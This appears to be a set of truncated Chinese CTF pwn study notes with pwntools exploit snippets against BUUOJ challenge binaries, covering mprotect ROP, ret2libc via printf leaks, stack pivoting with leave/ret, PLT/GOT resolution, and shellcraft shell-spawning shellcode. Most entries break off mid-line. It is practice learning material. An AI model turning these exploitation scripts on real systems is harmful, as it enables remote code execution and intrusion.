from pwn import * r = remote('node5.buuoj.cn',26036) elf = ELF('./get_started_3dsctf_2016') mprotect_addr=elf.symbols['mprotect'] #我们通过函数执行获取mprotect的地址 read_addr=elf.symbols['read'] #获取read函数地址 edx_ecx_ebx_ret=0x0806fc08# 三个寄存器不用非的一样 payload=b'a'*(0x38)+p32(mprotect_addr) payload+=p32(edx_ecx_ebx_ret)...
看到文件开启了NX保护 有一个fgets函数 去看看有没有什么能用的 没有/bin/sh ida里面找了找也没有system 题目给了libc.so文件,属于第三类的ret2libc 再看看libc.so文件 这个是system的地址,这个和ida找到的不一样,先用这个试试 这个是libc_start_main 的地址,不知道有没有用先搞下来 这里又有了/bin/sh 现在有些问题是没有学pwntool咋用,好消息是好像什么都给了 payload构造: 我们要做的只是把binsh传进system里 那么先溢出,再传system,/bin/sh然而不行 libc会有栈对齐的要求,要ret 改为先溢出,再ret,再pop一个rdi,再...
这类题目的特征是Pasted image 20260110090436.png 我们只能输入0x30,而栈溢出所需要的是0x28+4+4=0x30 我们要将栈空间迁移到一个足够大的空间去构造rop 栈迁移使用leave_ret leave指令一共执行2个步骤 首先: mov esp ebp 将ebp指向的地址给esp,也就是消除栈空间 然后: pop ebp 将esp指向地址存放的值赋值给ebp,所以ebp就会跑到新的地址,同时此时esp继续+4 ret指令执行1个步骤 ret执行pop eip 将esp指向的地址存放的值给eip esp继续+4 这样之后,就会将ebp和esp的地址全部修改,从而到达一个新的栈中。 如何找到ebp的...
这是一道libc寻址的题 寻址时没有read,write,puts。所以用printf exp:exp
from pwn import * from LibcSearcher import LibcSearcher con=0 if con: print('当前程序是32位的:') sleep(0.3) context(log_level='debug', arch='i386', os='linux') else: print("当前程序是64位的") sleep(0.3) context(log_level='debug', arch='amd64', os='linux') context.terminal = ['tmux', 'splitw', '-h'] local_file = ('./level3_x64') elf...
在想要调用的函数没有被调用过,想要调用他的时候,是按照这个过程来调用的 xxx@plt -> xxx@got -> xxx@plt -> 公共 @plt -> _dl_runtime_resolve 到这里我们还需要知道 _dl_runtime_resolve 是怎么知道要查找 printf 函数的 _dl_runtime_resolve 找到 printf 函数地址之后,它怎么知道回填到哪个 GOT 表项 第一个问题,在 xxx@plt 中,我们在 jmp 之前 push 了一个参数,每个 xxx@plt 的 push 的操作数都不一样,那个参数就相当于函数的 id,告诉了 _dl_runtime_resolve 要去找哪一个函数...
from pwn import * context(arch='amd64', os='linux', log_level='debug') io = connect('node5.buuoj.cn',29531) io.recvuntil(b"Show me your magic!") shellcode = asm(shellcraft.sh()) payload = shellcode io.sendline(payload) io.interactive()
from pwn import * #context(arch='i386', os='linux', log_level='debug') io = process('./pwn') # 在本地运行程序。 # gdb.attach(io) # 启动 GDB#io = connect('node5.buuoj.cn',29907 ) # 与在线环境交互。 offset = 0x16 + 0x04 - 0x08 vuln_addr = 0x08048603 elf = ELF("./pwn") io.recvuntil(b'Yippie, lets crash: ') s_addr =...
from pwn import * context(arch='i386', os='linux', log_level='debug') io = connect('node5.buuoj.cn',25977 ) offset = 0x16 + 0x04 - 0x08 vuln_addr = 0x08048603 elf = ELF("./pwn") io.recvuntil(b'Yippie, lets crash: ') s_addr = int(io.recvline().strip(),16) print(hex(s_addr)) shellcode=asm(shellcraft.sh()) io.recvline()...
main函数有一个read两个printf 之前都是自己调用自己,这次是将自己的地址作为参数借用别的函数输出。 本题的主要思路是 “用printf函数读取 read_got 这个地址里存储的值,并按照格式字符串的要求输出”。 所以我们需要几个参数 main_addr:作为发送第一个payload后返回的地址,再次执行main函数 pop_rdi:给 printf 传递第一个参数 format_str:格式化字符串的地址 pop_rsi:给 printf 传递第二个参数 read_got:read_got作为第二个参数 printf_plt:调用printf函数 main_addr:返回地址 也就是正常的ret2libc exp在下...